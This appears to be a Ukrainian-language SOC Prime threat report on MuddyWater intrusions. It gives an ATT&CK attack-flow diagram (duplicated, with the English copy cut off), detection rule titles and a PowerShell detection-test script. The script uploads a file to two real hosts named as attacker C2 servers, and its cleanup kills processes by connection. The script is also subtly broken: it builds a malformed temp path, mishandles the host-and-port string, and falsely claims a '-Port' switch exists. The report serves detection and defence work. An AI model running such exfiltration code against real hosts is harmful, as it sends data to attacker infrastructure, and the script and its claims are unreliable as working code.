SOC Prime Bias: Критичний

06 Apr 2026 19:42

MuddyWater викрито: всередині операції іранської APT

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
MuddyWater викрито: всередині операції іранської APT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Дослідники ідентифікували набір вторгнень MuddyWater (Static Kitten), який комбінував кілька спеціальних C2 фреймворків з опортуністичною експлуатацією численних вразливостей, що виходять в інтернет, і масштабним розпиленням облікових даних. Оператори поєднали інструменти для розвідки, початкового доступу та крадіжки даних для компрометації цілей на Близькому Сході, в Європі та Сполучених Штатах.

Розслідування

Слідчі захопили відкриту інфраструктуру з VPS в Нідерландах і вилучили виконувані файли для трьох спеціально створених C2-серверів: KeyC2, PersianC2 та ArenaC2. Вони також відновили допоміжні інструменти, включаючи завантажувачі на базі PowerShell та корисні навантаження Node.js, які використовувалися для підготовки та виконання. Діяльність включала широке сканування загальнодоступних CVE з подальшою експлуатацією і включала смарт-контракти блокчейну як механізм для динамічного вирішення або оновлення кінцевих точок C2.

Пом’якшення

Пріоритезуйте усунення вказаних CVE та зменшіть поверхню атаки шляхом посилення та обмеження доступу до загальнодоступних сервісів. Блокуйте або суворо обмежуйте невідомий вихідний UDP-трафік на порту 1269 та моніторьте артефакти виконання, пов’язані з нестандартними C2-виконуваними файлами та їх характерними командними патернами. Впроваджуйте найменший привілей для VPN та адміністративних облікових записів на мережевих пристроях та підвищуйте покриття виявлення для аномальної поведінки PowerShell та зашифрованих вихідних сесій з незнайомою IP-простором.

Реакція

Якщо виявлено індикатори, ізолюйте уражені системи, збережіть артефакти пам’яті та диска та негайно заблокуйте виявлені C2 домени/IP-адреси. Виконайте судову тріаж вилучених завантажувачів і сценаріїв Node.js для оцінки виконання і стійкості. Усувайте всі експлуатовані вразливості та замінюйте будь-які облікові дані, які могли бути розкриті через спрей або крадіжку.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1["<b>Action</b> – <b>T1595.002 Active Scanning: Vulnerability Scanning</b><br/>Tool: Nuclei<br/>Description: Mass‑scan public services for exploitable CVEs such as FortiOS CVE‑2024‑55591 and Ivanti CVE‑2026‑1281."] class step1 action tool_nuclei["<b>Tool</b> – <b>Name</b>: Nuclei<br/><b>Description</b>: High‑speed vulnerability scanner used for large‑scale internet probing."] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2["<b>Action</b> – <b>T1590.002 Gather Victim Network Information: DNS</b><br/>Tools: subfinder, Sudomy, OneForAll<br/>Description: Enumerate subdomains and DNS records for targets such as clearview.ai and jewishagency.org."] class step2 action tool_subfinder["<b>Tool</b> – <b>Name</b>: subfinder<br/><b>Description</b>: Fast passive subdomain discovery tool."] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3["<b>Action</b> – <b>T1595.003 Active Scanning: Wordlist Scanning</b><br/>Tool: ffuf<br/>Description: Brute‑force web directories with a medium‑size wordlist to discover hidden resources."] class step3 action tool_ffuf["<b>Tool</b> – <b>Name</b>: ffuf<br/><b>Description</b>: Fast web‑fuzzer for directory and file discovery."] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4["<b>Action</b> – <b>T1596.005 Search Open Technical Databases: Scan Databases</b><br/>Tool: Shodan CLI<br/>Description: Query Shodan for vulnerable Ivanti devices using service signatures and favicon hashes."] class step4 action tool_shodan["<b>Tool</b> – <b>Name</b>: Shodan CLI<br/><b>Description</b>: Command‑line interface to the Shodan internet‑exposure search engine."] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5["<b>Action</b> – <b>T1110.003 Brute Force: Password Spraying</b><br/>Tool: Python owa.py script<br/>Description: Spray common passwords against Outlook Web Access and SMTP services of Israeli, Jordanian and UAE organisations."] class step5 action tool_owa["<b>Tool</b> – <b>Name</b>: owa.py<br/><b>Description</b>: Python script that performs password‑spraying attacks against OWA endpoints."] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6["<b>Action</b> – <b>T1110.001 Brute Force: Password Guessing</b><br/>Tool: Patator<br/>Description: Attempt SMTP logins with credential lists to obtain valid accounts."] class step6 action tool_patator["<b>Tool</b> – <b>Name</b>: Patator<br/><b>Description</b>: Multi‑protocol brute‑forcing tool supporting SMTP, SSH, HTTP, etc."] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7["<b>Action</b> – <b>T1190 Exploit Public‑Facing Application</b><br/>Technique: Novel SQL injection flaws in BaSalam and a Postgres development platform.<br/>Description: Exploit crafted SQLi payloads to obtain initial foothold on web servers."] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8["<b>Action</b> – <b>T1210 Exploitation of Remote Services</b><br/>Tool: Neo‑reGeorg ASPX web‑shell<br/>Description: Upload web‑shell to compromised Exchange server for persistence and remote command execution."] class step8 action malware_neoregeorg["<b>Malware</b> – <b>Name</b>: Neo‑reGeorg ASPX web‑shell<br/><b>Description</b>: ASPX web‑shell providing remote command execution and tunneling capabilities."] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9["<b>Action</b> – <b>T1547.001 Boot or Logon Autostart Execution: Registry Run Keys</b><br/>Malware: Node.js payload VfZUSQi6oerKau.js<br/>Description: Create HKCU\Software\Microsoft\Windows\CurrentVersion\Run key for persistence."] class step9 action malware_nodejs["<b>Malware</b> – <b>Name</b>: VfZUSQi6oerKau.js<br/><b>Description</b>: Obfuscated Node.js payload that writes a Run‑key for persistence."] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10["<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Component: Neo‑reGeorg web‑shell (nfud.aspx)<br/>Description: Enables remote command execution on compromised server."] class step10 action malware_nfud["<b>Malware</b> – <b>Name</b>: nfud.aspx<br/><b>Description</b>: ASPX web‑shell variant used for persistent access."] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11["<b>Action</b> – <b>T1136.001 Create Account: Local Account</b><br/>Result: Privileged admin account "FortiSetup" with super_admin profile.<br/>Description: Modified FortiGate exploit scripts to add a persistent local admin account."] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>Malware: Node.js payloads<br/>Description: Payloads heavily obfuscated and AES‑CBC encrypted before being written to disk."] class step12 action malware_obf["<b>Malware</b> – <b>Name</b>: Encrypted Node.js payloads<br/><b>Description</b>: AES‑CBC encrypted blobs stored on the victim file system."] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Tool: PowerShell loader reset.ps1<br/>Description: Decrypts AES‑CBC encrypted blobs at runtime."] class step13 action tool_psloader["<b>Tool</b> – <b>Name</b>: reset.ps1<br/><b>Description</b>: PowerShell script that decrypts and loads malicious payloads in memory."] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14["<b>Action</b> – <b>T1620 Reflective Code Loading</b><br/>Technique: PowerShell loader loads decrypted Node.js components reflectively in memory."] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15["<b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>C2: PersianC2<br/>Description: HTTP polling using JSON API endpoints to retrieve commands."] class step15 action c2_persian["<b>C2</b> – <b>Name</b>: PersianC2<br/><b>Description</b>: HTTP‑based command and control using JSON polling."] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16["<b>Action</b> – <b>T1095 Non‑Application Layer Protocol</b><br/>C2: KeyC2<br/>Description: Custom binary protocol over UDP port 1269 for beaconing and command execution."] class step16 action c2_key["<b>C2</b> – <b>Name</b>: KeyC2<br/><b>Description</b>: UDP‑based covert channel using proprietary binary format."] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17["<b>Action</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/>Technique: Query Ethereum smart contracts to resolve C2 server IP addresses dynamically."] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18["<b>Action</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Description: HTTP POST interface encrypting traffic with AES‑256‑CBC."] class step18 action c2_arena["<b>C2</b> – <b>Name</b>: ArenaC2<br/><b>Description</b>: FastAPI server providing encrypted bidirectional C2 channel."] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19["<b>Action</b> – <b>T1102.003 Web Service: One‑Way Communication</b><br/>Component: Minimal Flask server (web.py) on port 10443 accepting file uploads for exfiltration."] class step19 action malware_flask["<b>Malware</b> – <b>Name</b>: web.py<br/><b>Description</b>: Simple Flask app acting as a dead‑drop for stolen data."] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20["<b>Action</b> – <b>T1572 Protocol Tunneling</b><br/>Tool: Neo‑reGeorg acting as SOCKS proxy (resocks, revsocks) to tunnel into internal networks."] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21["<b>Action</b> – <b>T1090.002 Proxy: External Proxy</b><br/>Listeners: resocks and revsocks creating external SOCKS proxies for lateral movement."] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22["<b>Action</b> – <b>T1573.001 Encrypted Channel: Symmetric Cryptography</b><br/>Technique: ArenaC2 encrypts all C2 traffic with AES‑256‑CBC using a hard‑coded key."] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>Method: Smart‑contract calls (getString) on Ethereum return active C2 IP list (e.g., 185.236.25.119)."] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24["<b>Action</b> – <b>T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage</b><br/>Tool: rclone<br/>Destination: Wasabi S3, put.io<br/>Description: Upload stolen files to cloud storage accounts."] class step24 action tool_rclone["<b>Tool</b> – <b>Name</b>: rclone<br/><b>Description</b>: Command‑line program for syncing files to cloud storage services."] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Capability: KeyC2 and PersianC2 support file download commands to retrieve data from victims."] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b>

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1[“<b>Дія</b> – <b>T1595.002 Активне сканування: Сканування вразливостей</b><br/>Інструмент: Nuclei<br/>Опис: Масове сканування загальнодоступних сервісів на наявність вразливих CVE, таких як FortiOS CVE-2024-55591 і Ivanti CVE-2026-1281.”] class step1 action tool_nuclei[“<b>Інструмент</b> – <b>Назва</b>: Nuclei<br/><b>Опис</b>: Високошвидкісний сканер вразливостей, що використовується для масштабного інтернет-сканування.”] class tool_nuclei tool step1 –>|використовує| tool_nuclei step1 –>|веде до| step2 %% Step 2 – Gather Victim Network Information: DNS step2[“<b>Дія</b> – <b>T1590.002 Збір інформації про мережу жертв: DNS</b><br/>Інструменти: subfinder, Sudomy, OneForAll<br/>Опис: Перерахування піддоменів та DNS-записів для таких цілей, як clearview.ai та jewishagency.org.”] class step2 action tool_subfinder[“<b>Інструмент</b> – <b>Назва</b>: subfinder<br/><b>Опис</b>: Швидкий інструмент пасивного відкриття піддоменів.”] class tool_subfinder tool step2 –>|використовує| tool_subfinder step2 –>|веде до| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3[“<b>Дія</b> – <b>T1595.003 Активне сканування: Сканування зі списком слів</b><br/>Інструмент: ffuf<br/>Опис: Брутфорс веб-директорій середнього розміру списку слів для виявлення прихованих ресурсів.”] class step3 action tool_ffuf[“<b>Інструмент</b> – <b>Назва</b>: ffuf<br/><b>Опис</b>: Швидкий веб-фуззер для виявлення директорій і файлів.”] class tool_ffuf tool step3 –>|використовує| tool_ffuf step3 –>|веде до| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4[“<b>Дія</b> – <b>T1596.005 Пошук відкритих технічних баз даних: Сканування баз данных</b><br/>Інструмент: Shodan CLI<br/>Опис: Запити до Shodan для уразливих пристроїв Ivanti з використанням підписів сервісів та хешів значків.”] class step4 action tool_shodan[“<b>Інструмент</b> – <b>Назва</b>: Shodan CLI<br/><b>Опис</b>: Інтерфейс командного рядка до пошукової системи інтернет‑експозиції Shodan.”] class tool_shodan tool step4 –>|використовує| tool_shodan step4 –>|веде до| step5 %% Step 5 – Brute Force: Password Spraying step5[“<b>Дія</b> – <b>T1110.003 Брутфорс: Password Spraying</b><br/>Інструмент: скрипт Python owa.py<br/>Опис: Спрей поширених паролів проти служб Outlook Web Access і SMTP ізраїльських, йорданських та ОАЕ організацій.”] class step5 action tool_owa[“<b>Інструмент</b> – <b>Назва</b>: owa.py<br/><b>Опис</b>: Скрипт на Python, що виконує атаки спреєм паролів проти OWA кінцевих точок.”] class tool_owa tool step5 –>|використовує| tool_owa step5 –>|веде до| step6 %% Step 6 – Brute Force: Password Guessing step6[“<b>Дія</b> – <b>T1110.001 Брутфорс: Вгадування паролів</b><br/>Інструмент: Patator<br/>Опис: Спроба логіну до SMTP з використанням списків облікових даних для отримання дійсних облікових записів.”] class step6 action tool_patator[“<b>Інструмент</b> – <b>Назва</b>: Patator<br/><b>Опис</b>: Багатопротокольний інструмент для атаки брутфорс, що підтримує SMTP, SSH, HTTP тощо.”] class tool_patator tool step6 –>|використовує| tool_patator step6 –>|веде до| step7 %% Step 7 – Exploit Public‑Facing Application step7[“<b>Дія</b> – <b>T1190 Експлуатація загальнодоступного застосунку</b><br/>Техніка: Нові дефекти SQL ін’єкції в BaSalam і платформі для розробки Postgres.<br/>Опис: Експлуатувати сконструйовані SQLi корисні навантаження для отримання початкового проникнення на веб-сервери.”] class step7 action step7 –>|веде до| step8 %% Step 8 – Exploitation of Remote Services step8[“<b>Дія</b> – <b>T1210 Експлуатація віддалених сервісів</b><br/>Інструмент: Neo-reGeorg ASPX веб-оболонка<br/>Опис: Завантаження веб-оболонки на уразливому сервері Exchange для збереження та віддаленого виконання команд.”] class step8 action malware_neoregeorg[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: Neo-reGeorg ASPX веб-оболонка<br/><b>Опис</b>: ASPX веб-оболонка, що забезпечує віддалене виконання команд та можливості тунелювання.”] class malware_neoregeorg malware step8 –>|завантажує| malware_neoregeorg step8 –>|веде до| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9[“<b>Дія</b> – <b>T1547.001 Автозапуск під час завантаження або входу в систему: Ключі запуску реєстру</b><br/>Шкідливе ПЗ: Node.js корисне навантаження VfZUSQi6oerKau.js<br/>Опис: Створення ключа HKCU\Software\Microsoft\Windows\CurrentVersion\Run для збереження.”] class step9 action malware_nodejs[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: VfZUSQi6oerKau.js<br/><b>Опис</b>: Заплутане корисне навантаження Node.js, яке записує ключ Run для збереження.”] class malware_nodejs malware step9 –>|створює| malware_nodejs step9 –>|веде до| step10 %% Step 10 – Server Software Component: Web Shell step10[“<b>Дія</b> – <b>T1505.003 Компонент серверного програмного забезпечення: Веб-оболонка</b><br/>Компонент: Neo-reGeorg веб-оболонка (nfud.aspx)<br/>Опис: Дозволяє віддалене виконання команд на уразливому сервері.”] class step10 action malware_nfud[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: nfud.aspx<br/><b>Опис</b>: Веб-оболонка варіанту ASPX, використовується для стійкого доступу.”] class malware_nfud malware step10 –>|реалізує| malware_nfud step10 –>|веде до| step11 %% Step 11 – Create Account: Local Account step11[“<b>Дія</b> – <b>T1136.001 Створення облікового запису: Локальний обліковий запис</b><br/>Результат: Обліковий запис адміністратора “FortiSetup” з профілем супер-адміна.<br/>Опис: Модифіковані скрипти експлуатації FortiGate для додавання постійного локального облікового запису адміністратора.”] class step11 action step11 –>|веде до| step12 %% Step 12 – Obfuscated Files or Information step12[“<b>Дія</b> – <b>T1027 Заплутані файли або інформація</b><br/>Шкідливе ПЗ: Node.js корисні навантаження<br/>Опис: Корисні навантаження сильно заплутані та зашифровані AES-CBC перед тим, як бути записаними на диск.”] class step12 action malware_obf[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: Зашифровані навантаження Node.js<br/><b>Опис</b>: Зашифровані AES-CBC фрагменти, збережені на файловій системі жертви.”] class malware_obf malware step12 –>|створює| malware_obf step12 –>|веде до| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13[“<b>Дія</b> – <b>T1140 Деобфускація/розшифровка файлів або інформації</b><br/>Інструмент: завантажувач PowerShell reset.ps1<br/>Опис: Дешифровує зашифровані AES-CBC фрагменти під час виконання.”] class step13 action tool_psloader[“<b>Інструмент</b> – <b>Назва</b>: reset.ps1<br/><b>Опис</b>: Сценарій на PowerShell, що розшифровує та завантажує шкідливі навантаження в пам’ять.”] class tool_psloader tool step13 –>|використовує| tool_psloader step13 –>|веде до| step14 %% Step 14 – Reflective Code Loading step14[“<b>Дія</b> – <b>T1620 Відображуване завантаження коду</b><br/>Техніка: Завантажувач PowerShell завантажує розшифровані компоненти Node.js відображувано в пам’ять.”] class step14 action step14 –>|веде до| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15[“<b>Дія</b> – <b>T1071.001 Протокол прикладного рівня: Веб-протоколи</b><br/>C2: PersianC2<br/>Опис: HTTP-опитування з використанням JSON API кінцевих точок для отримання команд.”] class step15 action c2_persian[“<b>C2</b> – <b>Назва</b>: PersianC2<br/><b>Опис</b>: Командний і контрольний засіб на базі HTTP з використанням JSON-опитування.”] class c2_persian c2 step15 –>|комунікує через| c2_persian step15 –>|веде до| step16 %% Step 16 – Non‑Application Layer Protocol step16[“<b>Дія</b> – <b>T1095 Протокол не прикладного рівня</b><br/>C2: KeyC2<br/>Опис: Спеціальний двійковий протокол через порт UDP 1269 для маячення та виконання команд.”] class step16 action c2_key[“<b>C2</b> – <b>Назва</b>: KeyC2<br/><b>Опис</b>: Прихований канал на базі UDP з використанням власного двійкового формату.”] class c2_key c2 step16 –>|комунікує через| c2_key step16 –>|веде до| step17 %% Step 17 – Web Service: Dead Drop Resolver step17[“<b>Дія</b> – <b>T1102.001 Веб-сервіс: Dead Drop Resolver</b><br/>Техніка: Запити до смарт-контрактів Ethereum для динамічного визначення IP-адрес C2 сервера.”] class step17 action step17 –>|веде до| step18 %% Step 18 – Web Service: Bidirectional Communication step18[“<b>Дія</b> – <b>T1102.002 Веб-сервіс: Двонаправлене зв’язок</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Опис: Інтерфейс HTTP POST, що шифрує трафік за допомогою AES-256-CBC.”] class step18 action c2_arena[“<b>C2</b> – <b>Назва</b>: ArenaC2<br/><b>Опис</b>: Сервер FastAPI, що забезпечує зашифрований двонаправлений канал C2.”] class c2_arena c2 step18 –>|використовує| c2_arena step18 –>|веде до| step19 %% Step 19 – Web Service: One‑Way Communication step19[“<b>Дія</b> – <b>T1102.003 Веб-сервіс: Односпрямоване зв’язок</b><br/>Компонент: Мінімальний Flask сервер (web.py) на порту 10443, що приймає завантаження файлів для витоку інформації.”] class step19 action malware_flask[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: web.py<br/><b>Опис</b>: Проста Flask програма, що діє як сховище для вкрадених даних.”] class malware_flask malware step19 –>|реалізує| malware_flask step19 –>|веде до| step20 %% Step 20 – Protocol Tunneling step20[“<b>Дія</b> – <b>T1572 Тунелювання протоколом</b><br/>Інструмент: Neo-reGeorg, що діє як SOCKS проксі (resocks, revsocks) для тунелювання в внутрішні мережі.”] class step20 action step20 –>|веде до| step21 %% Step 21 – Proxy: External Proxy step21[“<b>Дія</b> – <b>T1090.002 Проксі: Зовнішній проксі</b><br/>Слухачі: resocks і revsocks, що створюють зовнішні SOCKS проксі для латерального руху.”] class step21 action step21 –>|веде до| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22[“<b>Дія</b> – <b>T1573.001 Зашифрований канал: Симетрична криптографія</b><br/>Техніка: ArenaC2 шифрує весь C2 трафік з AES-256-CBC, використовуючи жорстко закодований ключ.”] class step22 action step22 –>|веде до| step23 %% Step 23 – Dynamic Resolution step23[“<b>Дія</b> – <b>T1568 Динамічне визначення</b><br/>Метод: Виклики смарт-контрактів (getString) на Ethereum повертають активний список IP C2 серверів (наприклад, 185.236.25.119).”] class step23 action step23 –>|веде до| step24 %% Step 24 – Exfiltration to Cloud Storage step24[“<b>Дія</b> – <b>T1567.002 Виток через веб-сервіс: Виток до хмарних сховищ</b><br/>Інструмент: rclone<br/>Призначення: Wasabi S3, put.io<br/>Опис: Завантаження вкрадених файлів на облікові записи хмарних сховищ.”] class step24 action tool_rclone[“<b>Інструмент</b> – <b>Назва</b>: rclone<br/><b>Опис</b>: Програма командного рядка для синхронізації файлів зі службами хмарних сховищ.”] class tool_rclone tool step24 –>|використовує| tool_rclone step24 –>|веде до| step25 %% Step 25 – Exfiltration Over C2 Channel step25[“<b>Дія</b> – <b>T1041 Виток через канал C2</b><br/>Можливість: KeyC2 і PersianC2 підтримують команди завантаження файлів для отримання даних від жертв.”] class step25 action step25 –>|веде до| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26[“<b>Дія</b> – <b>T1048 Виток через альтернативний протокол</b><br/>Метод: Сервер Flask HTTP та інстанція EC2 (18.223.24.218) використовуються для виштовхування великого обсягу даних з середовища жертви.”] class step26 action

Потік атак

Виявлення

Коротке ім’я файлу (через cmdline)

Команда SOC Prime
01 квітня 2026

Підозрілі файли в загальнодоступному профілі користувача (через file_event)

Команда SOC Prime
01 квітня 2026

Можливий витік даних за допомогою інструмента Rclone (через cmdline)

Команда SOC Prime
01 квітня 2026

Підозріле виконання з загальнодоступного профілю користувача (через process_creation)

Команда SOC Prime
01 квітня 2026

Виклик підозрілих методів .NET з Powershell (через powershell)

Команда SOC Prime
01 квітня 2026

Виконання NodeJS з незвичайного розташування (через cmdline)

Команда SOC Prime
01 квітня 2026

Можливе використання тунелювання інструмента [Windows] (через cmdline)

Команда SOC Prime
01 квітня 2026

Завантажувач PowerShell і витік даних через WebClient [Windows Powershell]

Правила SOC Prime AI
01 квітня 2026

Виявлення спреювання паролів MuddyWater та SMTP брутфорс [Windows Process Creation]

Правила SOC Prime AI
01 квітня 2026

Виявлення експлуатації та витоку даних MuddyWater Fortinet [Firewall]

Правила SOC Prime AI
01 квітня 2026

Симуляція виконання

Попередня умова: Телеметрія і перевірка початкового стану повинні були пройдені.

Раціоналізація: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначеної для спрацювання правила виявлення. Команди і наративи ПОВИННІ безпосередньо відображати ідентифіковані TTP і мати на меті генерувати точну телеметрію, яка очікується від логіки виявлення.

  • Оповідання про атаку і команди:

    1. Розвідка та збереження даних: Атакуючий перераховує локальні файли (T1005) і записує невелике корисне навантаження (secret.txt) на робочу станцію.
    2. Налаштування комунікації C2: За допомогою PowerShell (T1059.001), атакуючий створює HTTPS POST до сервера MuddyWater C2 194.11.246.101 на порту 443, вбудовуючи підготовлені дані.
    3. Альтернативний канал (нестандартний порт): Щоб уникнути простих правил на основі портів, атакуючий повторює витік через порт 1338, використовуючи Invoke-WebRequest з перемикачем -Port (PowerShell 7+).
    4. Необов’язкове підключення проксі: Запит передається через зовнішній проксі (T1090.002), але кінцевий IP-адрес залишається хостом MuddyWater, що забезпечує, що файрвол веде логі злочинного dst_ip.
  • Сценарій регресивного тестування:

    # Сімулірування витоку MuddyWater – PowerShell
    # ------------------------------------------------
    # Крок 1: Створення підроблених даних
    $dataPath = "$env:TEMPsecret.txt"
    "Чутливі дані $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8
    
    # Крок 2: Визначення кінцевих точок C2
    $c2Ips = @('194.11.246.101','18.223.24.218')
    $c2Ports = @(443,1338)
    
    # Крок 3: Завантаження через HTTPS (порт 443)
    foreach ($ip in $c2Ips) {
        $uri = "https://$ip/upload"
        Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
    }
    
    # Крок 4: Завантаження через спеціальний порт 1338 (вимагається PowerShell 7+)
    foreach ($ip in $c2Ips) {
        $uri = "http://$ip:1338/upload"
        Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
    }
    
    # Крок 5: Очищення
    Remove-Item -Path $dataPath -Force
  • Команди очищення:

    # Видалення всіх підозрілих мережевих підключень (Windows)
    Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 |
        Where-Object { $_.State -eq 'Established' } |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Видалення тимчасових файлів (перезапустіть, якщо потрібно)
    $tempFile = "$env:TEMPsecret.txt"
    if (Test-Path $tempFile) { Remove-Item $tempFile -Force }